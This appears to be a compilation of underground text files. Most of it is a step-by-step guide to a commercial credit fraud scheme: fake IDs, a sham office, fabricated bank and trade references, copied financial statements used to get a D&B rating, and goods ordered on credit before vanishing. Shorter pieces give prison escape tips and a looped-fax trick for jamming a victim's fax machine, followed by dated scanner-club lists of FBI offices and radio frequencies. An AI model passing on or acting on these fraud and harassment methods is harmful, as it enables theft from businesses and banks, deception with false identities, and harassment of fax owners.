	Put a few hundred in your pocket, drive out of your area, and pick a large commercial bank. DO NOT do this in your neighborhood or local small town! Pick an area away from where you live.  Dress well and wait until 15 minutes before the bank closes for the day.   Everyone is always in a hurry to get to happy hour right?



	Find an officer or new account teller and tell them you want to open a business checking account. All you need is the corporate seal, certificate of incorporation and the tax ID number. They might require personal ID so show them your phony drivers license. You'll need to fill out a few forms, stamp your corporate seal and before you know it you're out the door with your starter checkbook. The real checkbook will be delivered by UPS in about 7-10 days.  Make sure you've given the "drops" address not your own. Try to pick a bank that will give you an

ATM card. They're always nice to have in order to get your cash back. 



Setting up the drop:



	You'll need an office to operate out of and I suggest a small suite with reception area and one private office. Find an office with a good address (RCA wouldn't be on the poor side of town) and rent it for cash. Usually this will require the first months rent and two months deposit. You don’t have to spend a lot of money!  You're not gonna be there that long provide the landlord with phony ID also. DO NOT RENT AN OFFICE NEAR YOUR HOME OR NORMAL PLACE OF BUSINESS.



	Call the telephone company and order two phone lines. Try and get a "Gold" number like 555-5000 or 666-4900. Something that sounds like a "big company" telephone number. Make sure the fax number is not one digit off the telephone number like: Tel: 555-5000 and Fax: 555-5001. This obviously means only two lines. Don't ever make a personal call from these telephone lines. Don't ever call home or anyone you know personally, not even a beeper. These phones are for the "sting" They will be investigated after you're gone. Make sure they find nothing. Remember, you want to give the impression of a large company. If the telephone company wants your reach number, give them a voice mail number ringing into your beeper that you have acquired for cash in a fictitious name. NEVER GIVE YOUR REAL NUMBER OR INFO. 



	The phone company usually requires a few hundred dollars deposit for two business telephone lines. Pay it.  It's chicken feed compared to what you're gonna make. Make sure you order voice mail with remote access on the telephone line. It is not necessary on the fax line. When the lines are installed, place a single-line phone with "hold" on the telephone line and a fax machine on the fax line.



	Next step is get a female (we're not trying to be sexist but most telephone receptionists ARE female) who's "in" on the sting to answer the phone. She would say something like "Good

morning, RCA, please hold" and immediately put each incoming call on hold for about 30

seconds. This gives the impression of a busy switchboard. When she comes back on the line she would say something like "How may I direct your call, please hold...while I connect you”.  Get the picture? Another nice touch is if you get one of those GOOD voice changing machines so she can come back on the line as "your secretary". Again, you must create the impression of a large company. If you have a few people in on the "sting" let them answer, creating the illusion a large department.



Credit References:



	Gee, how are we gonna establish credit? We're only a few days in business.  Right. You are what you say you are! Most companies require three credit references. Sometimes more. 



Set up your own references.



	Go to the friendly out-of-the-neighborhood beeper guy and setup four voice mail beepers.  Always pay cash. No record. Program the message on each one differently. Something like  "Hello, you've reached Northstar Distributors, all lines are busy right now, we value your business, please leave your name and telephone number and one of our representatives will return your call in a few minutes. Thank you for calling NorthStar". 



	The "mark" will ask for "John Doe" the credit manager to return his call. When the beeper goes off, simply make note of the caller, wait a few minutes, and return the call to "John Doe" giving "good" not "super excellent" credit info. You don't want to draw suspicion. 



	Generally, if you're trying to rip off $10,000. worth of merchandise you would give a credit reference of something like "yeah, RCA has done business with us for about 6 years, their high credit is $30,000-$40,000. dollars and their terms are Net 30. They pay their bills on

time.  No problems.  They're a good customer".  Every once in a while, you might question the

mark.  "Hey, what do you guys sell? Not the same things as me I hope. I don't wanna lose

this customer"  Heh, heh... it ALWAYS works.  Remember, use different voices or a GOOD

voice changer..



	Program two more beepers the same way with different company names that are your "credit references". Have each voice mail ask the "mark" to leave a name and telephone number for a prompt response. Make sure the "credit references" are large sounding companies with a resident credit manager or officer who handles credit.



	Program the fourth beeper as the bank. remember the credit application always asks for the bank, bank account number and the number of an officer to contact. The message might sound something like "Hi, this is Joseph Cupcakes...I'm away from my desk right now, please leave your name and telephone number and I'll get right back to you.  If this is an internal bank

message, you can reach me at extension 316”. 

	

	The "mark" has no way of reaching extension "316" so he will assume he HAS reached the bank and leave his name and phone number for the bank officer to return his call.



	Wait a few hours or even until the next day. Have the "bank officer" call back the "mark" and ask what this is in reference to when he hears it's a credit reference he should be "reluctant" to give info at first. Credit managers are used to that. It gives the appearance of normal bank resistance to divulge customer information. After a little prodding have the "bank officer" agree to divulge that "RCA" maintains several accounts of "mid-six figure numbers" in that bank and is a customer in "good standing". 





	Translated, it means that "RCA" has a few "million" on deposit with that bank. The "bank officer" might also add "Don't you know who RCA is?" Again, it creates the illusion of

power and money and appeals BIG time to the GREED of the mark.



Dun & Bradstreet Reports:



	Good old D&B. The ultimate business information network. Bullshit. The only thing that goes into an initial D&B report is what YOU TELL THEM. Believe it or not, I know several people that have acquired D&B reports on real companies, copied the financial statements and passed them off as their own. Pick a company that does several million dollars worth of business with an excellent D&B rating and copy their financial statement. Include it with your application and D&B will give you the same rating! 



	Call D&B and request a D&B number. They will give you one right over the telephone. Ask them to fax over a credit rating application. Fill it out and attach a copy of the "liberated" financial statement. In a week or so someone will call from D&B to "go over" the rating form. Of course, you'll be waiting with all the "right answers" and in a few days you'll have your new D&B credit rating stating that your company is worth "several million dollars" and "pays it's bills on time".  D&B will actually send you a copy in the mail and this can also be attached to any credit application your filling out to "sting" a company. Sometimes D&B checks the bank. Not always. Don't worry about it, your "bank officer" is waiting anyway...



Getting the Loot:



	Now that you've got the office with telephone and fax in place (some prefer a laptop instead of fax and typewriter), you're just about ready to start. You must now do your homework. Make a complete list of what you're ordering, from whom and how many of each you need. Have backup vendor companies in case one or more vendor companies is "out of stock" on an item. To expedite the ordering process place a call to the "mark" companies and request a quote on the items.



	The request should sound something like this "Hi, this is Rufus Teapot, I'm at corporate

purchasing with RCA. I have a request for six Pentium 133 MHz computers with 40 Meg

RAM, built in CD rom with high speed internal modems. They also want 20" color monitors.

I need a firm quote. I'm getting ready to cut a purchase order. Can you fax me that quote

today? I need to get three bids. I need delivery by Friday" (3 days away). Do you have the

items in stock? Can you get them here by Friday? Otherwise I have to go elsewhere. If

these computers fit the bill, we'll need 60 more".  Guaranteed the salesman is getting a

woody.  In a short while you'll receive the firm quote. You'll also receive a credit application.



	Great care should be given to the preparation of the purchase order. You must insert exactly the same information and model numbers that are on the price quote. You don't want anything to slow the process. Great care should be given to the design of the purchase order. If you're trying to shadow the real RCA, get one of their purchase orders and design yours to look the same. You don't need a printer. Do it with a desktop publishing program. It also adds "illusion" when you add something like "4500 outlets throughout the USA" on it.



	When the salesman asks for the completed credit report say something like "OK, I'll get that done for you. By the way we're rated 1A by D&B. That should be all you need. I'll fax over a copy of our financial with a copy of our D&B report". The salesman will have the credit manager by the neck to approve the order and your goods will be winging their way to you in no time.



	Oh, by the way. UPS will deliver the merchandise unless you ask for FedEx or DHL. No problem. Sign for it and get a van to cart it away. It's not STOLEN merchandise yet. You applied for and got credit right? No one is screaming fraud yet right? You have about a thirty day "window" to get any and all merchandise you want. After that the "mark" companies will be

looking for payment. Be smart. Get out of the "sting" location after three weeks. The average

"sting" can get you $100,000 dollars worth of merchandise for free. 



	Don’t ever go back for any reason  Don’t be greedy. This scam is so sweet you can do it over and over from different location for years and years. There is no way to track you if you followed this plan. Also, don’t ever hit the same company twice.  Don’t use the same bogus company name twice. Lose the beepers. Be Smart.



Escaping From Jail, The Art of By: Armageddon                                



Always have a Plan:  Prison guards tend to be gun toting trigger happy big Mother fuckers. And if  you attempt to escape and they see you they'd rather kill you then waste time hunting you. (no one misses a jail bird) 



Kiss Ass:  If you do this a lot you can get many privileges and have access to stuff you need. (like pieces of metal to cut stuff with) Be resourceful





	If your not the resourceful type then escape with someone who is because this is essential to the whole escape plan, if something goes wrong you MUST have an escape plan.



Read:  The prison system is no "Club Med" but they do alloy you to read. Get books on chemistry, Metallurgy, Locksmithing, etc.. It doesn't hurt to ask if you can have these books. The most they can do is turn you down. Ask for mags on almost anything because there is bound to be an article somewhere that can  give you some ideas. Use your Imagination



	The sky's the limit. I can tell you how to make a drill out of a spoon, but with no imagination you won't know how to use it. Envision stuff. If you have a piece of metal you have a start, but what will you do with it?



FAX Trick, A Neat Courtsey of Red Phaze



	Someone heard about this somewhere and decided to pass it along to us. We don't know where it came from but figured we'd oblige our anonymous contributor. While we don't advocate breaking any laws of course, we do have to admit that it's a fine example of good old American ingenuity and pass it along for educational purposes only to show that there is still a bit of imagination and an inventive spirit left somewhere in this country.



	It involves getting a piece of obnoxious artwork and making three photocopies of it. The traditional one was a photocopy of someone's middle finger sticking up but certain unnamed people thought it would be appropriate (and perhaps more interesting) to go for something more heavy duty. The actual suggestions are hardly appropriate for printing here so we'll leave them up to you to think of. After getting three copies of the artwork in question one then attaches them end to end so that they look like three connected pieces of computer printout paper (use scotch tape). You then call the FAX number you desire and feed in the first sheet. This trick would work best after the place is closed for the day or otherwise unoccupied for long periods of time.



	When the first sheet comes out attach it the same way to the last sheet. This will result in an endless loop of paper. What happens is that this keeps feeding into the FAX machine transmitting the same image. On the receiving end the FAX machine will most likely run out of paper, be prevented from receiving other calls, and be effectively neutralized.



	Like we said before, don't do this as it would probably be construed as an annoyance phone call and/or misuse of telecommunications facilities.




Federal Bureau of Investigation:  By: The All Ohio Scanner Club



History



	The FBI traces its roots back to the year 1908 when then U.S. Attorney General Charles Bonaparte directed that Department of Justice investigations be handled by a small group of special investigators. The group was formed as the Bureau of Investigation and, in 1935, the present day name was designated by Congress.



Duties



	The primary functions of the FBI and its agents are the investigations of violations of certain Federal statutes and the collection of evidence in cases in which the United States is or may be an interested party. The FBI performs other duties specifically imposed by law or Presidential directive and conducts a number of service activities for other law enforcement agencies. The FBI can investigate a matter only when it has authority to do so under a law passed by Congress or on instructions of the President or the Attorney General.



	The FBI is not a Federal police force, it is a fact-finding organization investigating violations of Federal laws and its authority is strictly limited to matters within its jurisdiction. FBI agents may make arrests without a warrant for any Federal offense committed in their presence, or when they have reasonable grounds to believe that the person to be arrested has committed or is attempting to commit a felony violation of United States laws. Agents may also make arrests by warrant.



	Agents do not make arrests for "investigation" or "on suspicion". Before arrests are made, if at all possible, the facts of each case are presented to the U.S. Attorney who decides whether or not a Federal violation has occurred and, if so, the U.S. Attorney may authorize agents to file a complaint which serves as the basis of the arrest warrant.



	The FBI has no authority to investigate local crimes which are not within its jurisdiction. The FBI will, however, render all possible assistance to the local police through the FBI Laboratory and Identification Division. The FBI LID maintains finger print files on approximately 70 million (yes, million) people. The FBI also maintains the National Crime Information Center (NCIC) which keeps records of missing persons, serialized stolen property, wanted persons for whom an arrest warrant is outstanding, and criminal histories on individuals arrested and fingerprinted for serious or significant offenses.



	The NCIC is a computerized information system established by the FBI as a

service to all criminal justice agencies- local, state and Federal. The information can be instantly retrieved over a vast communications network through the use of telecommunications equipment in criminal justice centers in various locations in the United States, Canada and Puerto Rico. Many times when monitoring the local or county police/sheriff departments a reference to a NCIC check is heard.



	The FBI is involved in criminal investigations and foreign counterintelligence efforts. Most notably criminal investigations are those of bank robberies and kidnapping cases. The FBI can also investigate criminal activity associated with interstate transportation of stolen property, and the FBI can investigate graft and corruption cases of local government under certain circumstances. Department of Justice offices mat be found on some military installations as the FBI has jurisdiction when a crime involves Government property, or funds, or when only civilians are involved.



	The FBI's responsibility with respect to foreign counterintelligence, within
 
the United States, is to detect, lawfully counteract, and/or prevent espionage
 
and other clandestine intelligence activities, sabotage, international terrorist activities, or assassinations conducted for or on behalf of foreign powers, organizations, or persons. The FBI also investigates murders, kidnappings, and assaults against foreign diplomatic officials while in the United States, as well as damage to property of foreign governments in the United States.



Organization



	The FBI is an agency within the U.S. Department of Justice, which is lead by the U.S. Attorney General. The head of the FBI is the Director who is appointed by the President with the advice and consent of the Senate. Assistant directors are the next level of command within the FBI. The FBI has ten assistant directors who are accountable to the Director for all matters within their sphere of operations.



	The FBI has 59 field offices located in major cities throughout the United States and in San Juan, Puerto Rico. Each, with the exception of the New York Office which is headed by an Assistant Director, is under the direct supervision of a Special Agent In Charge (SAIC). The SAIC is supervised and receives directions from the FBI headquarters in Washington, D.C.



	Each FBI Field Office has Resident Agencies which are local offices in some of the larger cities within the field offices jurisdiction. Refer to the FBI field office map for the sectioning of the field offices across the United States. The following list of the field offices and associated data was generated by data contributed from several readers who wish to remain anonymous and from this editor.







Location                  		F.O.  	Telephone No.  	Call Letters   		RA's



Albany, NY 12201            	1   	518 465 7551   		KEC 250 - 262  	8

Albuquerque, NM 87102       	2   	505 247 1555            				6

Alexandria, VA              	3                  			KFQ 240 - 244  	3

Anchorage, AK 99513         	4   	907 276 4441           	 			2

Atlanta, GA 30303           	5   	404 521 3900  		KIE 300 - 311  		8

Baltimore, MD 21207         	6	301 265 8080   		KGB 747 - 756  	9

Birmingham, AL 35203        	7   	205 252 7705                  			5

Boston, MA 02203            	8   	617 742 5533   		KCB 800 - 814  	12

Buffalo, NY 14202           	9   	716 856 7800   		KEX 590 - 595  	3

Butte, MT 59702            	10   	406 782 2304                  			13

Charlotte, NC 28217        	11   	704 529 1030   		KEV 220 - 228  	8

Chicago, IL 60604          	12   	312 431 1333   		KSC 210 - 217  	4

Cincinnati, OH 45202       	13   	513 421 4310   		KQC 390 - 399  	8

Cleveland, OH 44199        	14   	216 522 1400   		KEX 740 - 750  	9

Columbia, SC 29201         	15   	803 254 3011   		KEX 820 - 830  	8

Dallas, TX 75202           	16   	214 720 2200                  			8

Denver, CO 80202           	17   	303 629 7171                  			7

Detroit, MI 48226          	18   	313 965 2323   		KEX 760 - 772  	12

El Paso, TX 79901          	19   	915 533 7451                  			1

Honolulu, HI 96850         	20   	808 521 1411                  			0

Houston, TX 77008          	21   	713 868 2266                  			3

Indianapolis, IN 46204     	22   	317 639 3301   		KEX 780 - 790  	9

Jackson, MS 39269          	23   	601 948 5000                  			9

Jacksonville, FL 32211     	24   	904 721 1211                  			7

Kansas City, MO 64106      	25   	816 221 6100   		KEX 570 - 582  	9

Knoxville, TN 37902        	26   	615 544 0751   		KEV 240 - 246  	6

Las Vegas, NV 89104        	27   	702 385 1281                  			2

Little Rock, AR 72211      	28   	501 221 9100   		KFQ 200 - 208  	7

Los Angeles, CA 90024      	29   	213 477 6565   		KMC 250 - 275  	25

Louisville, KY 40202       	30   	502 583 3941   		KIA 320 - 332  	12

Memphis, TN 38103          	31   	901 525 7373                  			6

Miami, FL 33169            	32   	305 944 9101   		KEV 300 - 305  	4

Milwaukee, WI 53202        	33   	414 276 4684   		KSC 220 - 228  	6

Minneapolis, MN 55401      	34   	612 339 7861                  			14

Mobile, AL 36602           	35   	205 438 3674                  			5

Newark, NJ 07102           	36   	201 622 5613   		KEX 620 - 628  	6

New Haven, CT 06510        	37   	203 777 6311   		KEX 600 - 606  	4

New Orleans, LA 70113      	38   	504 522 4671                  			6

New York, NY 10278         	39   	212 553 2700   		KEC 270 - 283  	?

Norfolk, VA 23510          	40   	804 623 3111   		KEX 340 - 341  	1

Oklahoma City, OK 73118    	41   	405 842 7471                  			11

Omaha, NE 68102            	42   	402 348 1210                  			9

Philadelphia, PA 19106     	43   	215 629 0800   		KEX 640 - 651  	7

Phoenix, AZ 85012          	44   	602 279 5511                  			6

Pittsburgh, PA 15222       	45   	412 471 2000   		KEX 660 - 679  	12

Portland, OR 97201         	46   	503 224 4181   		KEX 720 - 728  	6

Richmond, VA 23220         	47   	804 644 2631   		KEX 360 - 369  	6

Sacramento, CA 95825       	48   	916 481 9110   		KFP 900 - 910  	6

St Louis, MO 63103         	49   	314 241 5357                  			5

Salt Lake City, UT 84138   	50   	801 355 7521                  			3

San Antonio, TX 78205      	51   	512 225 6741   		KEX 840 - 847  	5

San Diego, CA 92188        	52   	619 231 1122   		KEX 680 - ?    	4?

San Francisco, CA 94102    	53   	415 553 7400   		KFP 970 - 990  	19

San Juan, PR 00918         	54   	809 754 6000                  			0

Savannah, GA 31405         	55   	912 354 9911   		KEV 380 - 389  	4

Seattle, WA 98174          	56   	206 622 0460   		KOD 220 - 232  	9

Springfield, IL 62704      	57   	217 522 9675   		KEX 800 - 812  	10

Tampa, FL 33602            	58   	813 228 7661   		KEV 320 - 327  	5

Washington, D.C. 20535     	59   	202 324 3000   		KGB 770        		0





	The list of Field Offices and RA's is not 100% accurate, updates please. The number of RA's may differ from the call letter assignment block for a given F.O. because many RA's were closed and consolidated during the Carter and early Regan administrations. The call letters were assigned prior to their administrations.



	The F.O. call letters will be the first is an assigned block for a given F.O. 



Example: Cincinnati F.O. call is KQC 390 (or simply 390 as often will be heard) or Cleveland F.O. call is KEX 740 (740).



	The following is a list of Resident Agencies for the primary coverage states of

the AOSC. The list is as of 1 October 1987. I will send a copy of the FBI Field Office and Resident Agency map for a SASE to those who desire a copy. A list of RA's may be obtained from the map for your local area. The map will be a copy of a copy, however it will be fairly legible. Note the two Ohio Field Office lists are presented later in this column with the detailed Ohio data.



Chicago "CG" Field Office - RA's



     Lisle (Chicago West)

     Mount Prospect (Chicago North)

     Oakland Park (Chicago South)

     Rockford



Frequency Plan:



     A-1   167.3375                   	B-1   167.600

     A-2   167.4875                   	B-2   167.675

     A-3   167.425                	B-3   167.7375

     A-4   167.5625                   	B-4   167.5625

     A-5   163.9875/167.3375      B-5   162.8625/167.600

     A-6   Unconfirmed               	B-6   Unconfirmed

     A-7   163.8625/167.5375      B-7   163.8625/167.5375

     A-8   163.8375/167.2875      B-8   163.8375/167.2875



	Chicago F.O. utilizes 8 banks, A through H. Channel banks C through H are not confirmed to exact frequencies and usage. There are one way links in the upper 162, lower 164 and upper 165 MHz ranges. The one way links are often a control station to a repeater site utilizing a directional antenna. The one way links may also be a point-to-point relay of communications from an outer fringe RA to the F.O.



	Chicago appears to configured similarly as several other F.O.'s in that up to five other VHF frequencies can be active with 163.9875 simultaneously with the same radio traffic. Chicago F.O. also still uses some remote VHF receive/UHF re-transmit link sites, but most are believed to be converted to microwave links.



	Also 167.7625 which Randy Strayer and this editor received via skip between KSC 210 and KSC 216. Channel identified as Bravo 1.



Detroit "DE" Field Office - RA's



     Ann Arbor

     Benton Harbor

     Flint   		KEX 762

     Grand Rapids

     Jackson

     Kalamazoo

     Lansing

     Marquette   		KEX 767

     Mount Clemens

     Oakland County

     Saginaw

     Traverse City   	KEX 772



Frequencies per MFFD (1986) and others: 163.925/267.2625 R.A. repeater;

163.8875/167.750 F.O. repeater; 163.8625/167.5375R; 167.3125; 167.3625;

167.400; 167.450; 167.500; 167.650; 414.500 is a state-wide UHF link to Detroit

F.O. and 419.250 is believed to a FBI UHF link, continuous tone.



Indianapolis "IP" Field Office - RA's



     Bloomington

     Evansville

     Fort Wayne

     Gary

     Lafayette

     Muncie

     New Albany   KEX 786

     South Bend

     Terre Haute



Frequencies from the MFFD: 163.9625/167.2125 R.A. repeater and 167.600.



Louisville "LS" Field Office - RA's



     Ashland

     Bowling Green

     Covington

     Elizabeth Town

     Frankfort

     Hopkinsville

     Lexington   KIA 321

     London

     Paducah

     Pikeville



Frequencies from the MFFD: 163.9375/167.675 R.A. repeater and 167.600.



Philadelphia Field Office - RA's



     Allentown    		KEX 645

     Harrisburg   		KEX 641

     Landsdale    		KEX 648

     Newtown Square   	KEX 650

     Scranton   		KEX 643

     State College  	KEX 652

     Williamsport   	KEX 651



Frequencies: 163.9875/167.325R CH 1; 167.7125 CH 2; 167.500 CH 3; 167.5625 CH

4; 167.525 CH 5; 163.9625 ECC-1;  163.8375/167.3875R; 163.9375R; 167.2625;

167.300; 167.325; 167.3375; and 419.325 data/tone.



Pittsburgh "PG" Field Office - RA's



     Beckley 		(WV)

     Charleston 		(WV)

     Clarksburg 		(WV)

     Erie

     Greensburg

     Huntington 		(WV)

     Johnstown

     Martinsburg 		(WV)

     New Castle

     Parkersburg 		(WV)

     Washington

     Wheeling 		(WV)



Frequencies per MFFD (1986, no updates since then): 163.925/167.475R R.A. repeater; 163.950/167.2125 F.O. repeater; 167.6375 and UHF links on 414.025, 414.125, 414.425 and 419.425.



Springfield (IL) Field Office - RA's



     Alton

     Belleville

     Bloomington

     Carbondale

     Champaign

     Danville

     Decatur

     Effingham

     Peoria

     Rock Island



Frequencies per the MFFD: 163.9125/167.725 R.A. repeater; 167.3625 and 167.625.



Now some miscellaneous data from the files on frequencies and call letters. The
 
following list of call signs are for NY and NJ state and are from a list dated
 
in 1981, so be fore told.



Albany 

F.O.: 			KEC 250; KEC 254 

Watertown; 		KEC 256 

Syracuse; 		KEC 257 

Utica; 			KEC 258 

Burlington (VT); 	KEC 259 

Plattsburgh; 		KEC 261 

Glens Falls.



Buffalo 

F.O.: 			KEX 590; KEX 591 

Rochester; 		KEX 592 

Geneva; 		KEX 593 

Jamestown		KEX 595 

Niagara Falls.



Newark 

F.O.: 			KEX 620; 

Camden 		KEX 624



NYC 

F.O.: 			KEC 270/271; KEC 272 

Suffolk; 		KEC 273 

Garden City (NJ); 	KEC 277 

JFK Airport; 		KEC 278 

Poughkeepsie, NY; 	KEC 280 

Staten Island; 		KEC 281 

Richmond Hills; 	KEC 283 

New Rochelle. 



	From a 1988 list I have a KEC 900 for NYC as well as KEC 270.



	Now some frequencies from the input basket contributed by AOSC or NESN (North East Scanner News - more data at the end of this column) members during 1989 or 1990.











Boston 

F.O.: 	

Romeo Units (R.A.'s) - 162.7625, 162.7875, 167.2625, 167.3625, 167.5625, 167.600, 167.6625 and 167.7625. 

Delta Units - 	167.2625, 167.3625, 167.4625, 167.600, 167.6625 and 167.7625. 



Rhode Island - 167.2375, 167.2625, 167.4625, 167.7125 and 167.7625. 



New Hampshire - 163.9875/167.3625R, also 167.2375 and 167.6125.



Still with Boston from NESN: 163.8375, 163.8875, 163.900 and 163.925/164.125,

163.975/167.275 repeaters. Also 164.150, 167.250, 167.325, 167.425, 167.450,

167.500, 167.6375, and 167.750.



CT/NY FBI - 163.750 NY; 163.8625 CH 6 CT; 163.8875 CT; 164.125 Long Island;

164.150 NY; 167.2375 CT; 167.2625 NY; 167.2875 NY?; 167.3375 Long Island;

167.3875 NY; 167.425 CT primary; 167.4375 CT; 167.4625 NY; 167.5375 CT (note

input to 163.8625 CH 6); 167.5625; 167.600 NY; 167.6875 NY; 167.775 Long

Island; 167.7875 CT; 413.625 NY; 414.075 CT; 414.350 NY "Bronco Base" and

419.350 CT tone. Also note from the previous American Scannergram

169.975/168.850 as a new NYC repeater.



Also several with "?" as follows: 165.925 NY; 167.175 NY; 169.575 NY, possible

FBI/DEA; and 419.250 NY. One other interesting frequency - 170.825 as a U.S.

Marshal/INS/FBI NY "tie-in" frequency.



Charlotte 

F.O.: 		163.9125/?   

A-1 		Greensboro (R.A. repeater) 163.9625/?R, 167.750 and 167.7125.



Knoxville F.O.:  A-1 163.9875R Knoxville F.O., also A-5 (probably different input frequency and/or tone).



                 A-4 163.8375/167.2375 Chattanooga R.A.

                 B-5 163.8375/167.400 R.A. repeater, also C-1

                 C-5 163.8375R R.A. repeater



Johnson City base call is KEV-243



Knoxville Unit Numbers: 99 - Aircraft; mobile units 1 - 69.



Los Angeles F.O.: An excellent complete and detailed listing is available from Mobile Radio Resources (2661 Carol Drive, San Jose, CA 95125). The FBI in LA utilizes repeater channels in the 162, 163, 164, and 165 MHZ frequency range. Inputs can be found in the 167 MHz frequencies. The 165 repeater frequencies are 167.5875 and 165.7125.



Memphis F.O.: R.A. repeater - 163.9375; F.O. repeater 163.8625



Norfolk F.O.: 163.8375/167.600 F1; 167.2375 F2; 167.4875 F3; and 167.5625 F4.



Richmond F.O.: 163.8875/167.625 Operations Repeater; 167.5625 

Note:  Nationwide FBI simplex common); 163.8625/167.5375 

Note:  This is the only repeater frequency pair that is common nationwide, usually used for SWAT or special operations - ed.); 414.250 and 419.525 as UHF links.



San Diego F.O. sampling via Mobile Radio Resources Government Radio Systems directory: Repeaters in the 162, 163, 164 and 165 MHz ranges with the input in the 167 MHz range. The 165 repeater is on 167.5625 MHz.



San Francisco F.O. sampling via MRS GRS directory: Repeaters in the 163 and 167

MHz frequency ranges with inputs in the 167 and 162 MHz ranges respectively.



Tampa-St. Petersburg from Blaine Brooks: A-2: 167.725; A-3 167.325; A-5 167.3875; A-6 167.275; repeater on 163.9875 and 419.250 UHF satellite receiver

link.



Cincinnati Field Office Operations




	
The Cincinnati Field Office originally had nine Resident Agencies which were located in Athens, Chillicothe, Columbus, Dayton, Hamilton, Portsmouth, Springfield, Steubenville and Zanesville. The Springfield office is closed and I am not sure about the Zanesville R.A.



	The CI F.O. and R.A.'s radio communication systems are DES (Digital Encryption Standard) capable and are utilized on a regular basis. CI appears to have a 32 channel DES system in place as testing was monitored during 1988 and 1989. Most of their frequencies remained the same from the previous DES days.  Note: The CI radios are VHF/UHF mobiles. Refer to the B channel series in the frequency list.



	The signal numbers do not appear to be squad base (logically grouping by general agent function such as bank robbery squad or drug enforcement, or by R.A.'s), but rather a numeric numbering scheme starting with 1 and into the low 100's.



	The CI F.O./R.A. operations still need some work from our southern Ohio members as allot of holes and gaps remain. The following profile on CI was mainly made possible by the efforts of Bill Gillie, Tony Cono, Rick Poorman, another member who desires to named Mr. Anonymous, and this editor.


Note: ALL OHIO data is confirmed unless noted otherwise.



CI Call Letter Assignments



     KQC 390   Cincinnati

     KQC 391   Dayton

     KQC 392   Columbus

     KQC 393   Chillicothe

     KQC 394   Springfield (closed)

     KQC 395   Athens

     KQC 396   Hamilton

     KQC 397   Portsmouth

     KQC 398   Stubenville

     KQC 399   Zanesville



CI Frequency Assignments



     167.650           		A-1 Operations simplex  R.A.'s

     167.2375          		A-2     "         "     F.O.

     167.4375          		A-3     "         "     division wide

     167.5625          		A-4 Nationwide common simplex

     163.9875/167.650  		A-5 Operations Repeater R.A.'s

     163.8625/167.5375 		A-6 SWAT Repeater

     163.8375/167.2375 		A-7 Operations Repeater F.O.



	The B channels are local option assigned meaning that each office will have a

different set of frequencies. The CI F.O. has Cincinnati PD CH 5, 460.275R, (B-1); Hamilton County Sheriff, 460.500R, (B-2); and several DEA frequencies.



     ???   D-6 and D-8 channel designators heard, but not confirmed.



     163.9875/167.650   	ECC-1 (Extended Car-to-Car) repeater R.A.'s

     163.8375/167.2375  	ECC-2 repeater F.O.

     163.8625/167.5375  	ECC-3 SWAT/Special Operations nationwide repeater

     164.100/?          ? 	Repeater heard with CI units



     167.325, 167.600, 167.625, 167.6625, 167.6875 and 167.725: Simplex operations.



     412.575 - Xenia, Greene County UHF Repeater link

     419.300 - New Vienna, Highland County UHF Repeater link

     419.500 - Macon, Brown County UHF Repeater link



     168.000 - possibly a VHF one-way link.



CI Signal Numbering



     390 Signals: 1, 2, 3, 20, 22, 24, 53, 71, 72, 77, 90, 106, 133, 141 and 148.

     391 Signals: 11 (SAIC), 18, 26, 29, 33, 43, 45, 49, 51, 52, 61, 64, 72, 75, 78, 91, 112, 				137, 158 and 159.

     392 Signals: 5 (SAIC), 6, 23, 34, 38, 40, 41, 42, 50, 54, 56, 65, 69, 73,75, 82, 88, 93, 				98, 100, 103, 104, 105, 108, 112, 113, 114, 116, 117, 122, 125, 				147, 157, 166 and 225?

     393 Signals: 71

     397 Signals: 27 (SAIC)

     398 Signals: 95 and 96.



	Sometimes units may only use their last two digits, such as 14 or 17 instead of 114 or 117. Unit 90 usually in a helicopter or may be a helicopter. Unit  The MFFD has units in the 200's as surveillance vans/vehicles and units in the 400's as surveillance air vehicles. Also we have report that unit 500 is a surveillance aircraft.



Cleveland Field Office Operations



	The Cleveland Field Office originally had 10 Resident Agencies located in Akron, Canton, Elyria, Lima, Mansfield, Mentor, Painesville, Sandusky, Toledo and  youngstown. The Mentor R.A. currently is the only R.A. out of service in the CV division.



	The CV F.O. And R.A.'s radio communication system is DES capable and utilized quite often in the DES mode. The CV F.O. has been in DES since the mid-eighties on a limited basis and a full system since early 1989. The CV system appears to be a 64 channel system which was implemented during the latter part of 1989.



	The CV division utilizes a squad numbering scheme for assignment of signal numbers. There are still a few holes in the numbering, but for the most part it is complete.



CV Call Letter Assignment



     KEX 740   Cleveland

     KEX 741   Akron

     KEX 742   Toledo

     KEX 743   Youngstown

     KEX 744   Painesville

     KEX 745   Elyria

     KEX 746   Mentor (closed)

     KEX 747   Lima

     KEX 748   Mansfield

     KEX 749   Canton

     KEX 750   Sandusky



CV Frequency Assignments



     167.675            	A-1 Operations Simplex F.O.

     167.4125/167.7375  	A-2 S.O.G. Repeater (Special Operations Group)

     167.7875           	A-3 S.O.G. Simplex; Operations Simplex

     167.5625           	A-4 Nationwide Common

     164.100/167.2875   	A-5 S.O.G. repeater

     163.9125/167.675   	A-6 Operations Repeater

     163.8625/167.5375  	A-7 (?) SWAT Repeater

     154.935            	A-8 Ohio LEERN



     167.425            	B-1 R.A. Simplex

     167.5625           	B-4 Simplex

     163.875/167.425    	B-5 R.A. Operations Repeater

     155.370            	B-6 Ohio Intercity



     167.3375/162.7375  	C-2 Canton Operations Repeater

     167.3375/?         	C-3 Canton Operations Repeater

     167.3875/?         	C-4 Mansfield Operations Repeater

     167.7875/167.7375  	C-7 CV Repeater



     167.425            	D-1 R.A. Simplex

     163.875/167.425    	D-4 R.A. Repeater

     ???                	D-7 Akron simplex, not confirmed


     167.7625           	G-1 Akron Operations Simplex

     167.7625/162.7625  	G-2 Akron R.A. Operations Repeater

     167.3625           	G-3 Painesville Simplex (?)



	The F bank is believed to be local option. No E or H bank references.



Confirmed frequency list:



     162.7375           	Canton B/M input to 167.3375 repeater

     162.7625           	Akron   "    "   to 167.7625    "

     163.8625/167.5375  	CV SWAT Repeater

     163.875/167.425    	R.A. Repeater

     163.9125/167.675   	CV F.O. Repeater

     164.100/167.2875   	S.O.G. Repeater

     167.100            	Simplex

     167.2125           	CV simplex

     167.2375           	Akron simplex

     167.2625             	"      "

     167.2875           	CV simplex; input to 164.100

     167.3375/162.7375  	Canton R.A. Repeater

     167.3375/?         	Lima, Sandusky, Toledo R.A. Repeater

     167.3625/162.7625  	Akron, Painesville R.A. Repeater

     167.3625           	Akron, Painesville Simplex

     167.3875/?         	Mansfield Operations Repeater

     167.4125/167.7375  	CV S.O.G. Repeater

     167.425            	R.A. Simplex; input to 163.875

     167.4625           	Mansfield Simplex

     167.5125           	CV Simplex

     167.5375           	Input to 163.8625

